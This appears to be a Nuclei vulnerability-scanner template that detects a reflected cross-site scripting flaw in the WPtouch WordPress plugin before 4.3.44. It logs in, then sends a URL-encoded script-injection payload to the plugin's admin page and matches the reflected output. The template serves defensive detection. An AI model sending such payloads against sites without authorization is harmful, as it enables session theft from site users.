id: wptouch-xss info: name: WordPress WPtouch <4.3.44 - Cross-Site Scripting author: akincibor severity: medium description: | WordPress WPtouch plugin prior to 4.3.44 contains a cross-site scripting vulnerability. The plugin does not escape some URLs before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://wpscan.com/vulnerability/7dbd8348-9c5d-4d62-a0f4-2b7c2b7e58e4 - https://wordpress.org/plugins/wptouch/advanced/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 2 tags: wp-plugin,wp,wordpress,xss,authenticated,wptouch,wpscan http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=wptouch-admin-license&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - '">' - type: word part: body words: - 'WPtouchCustom' - 'WPtouchAjax' - 'toplevel_page_wptouch-admin' condition: or - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022062741dba93328ed0b198476997c1373bbdd57adde0d0ef288b5e68a9db0280d6022100c7eb0e5f07a5f1dcd59ff7d1d68979fe465d773a425fff257009d541b4b8edd7:922c64590222798bb761d5b6d8e72950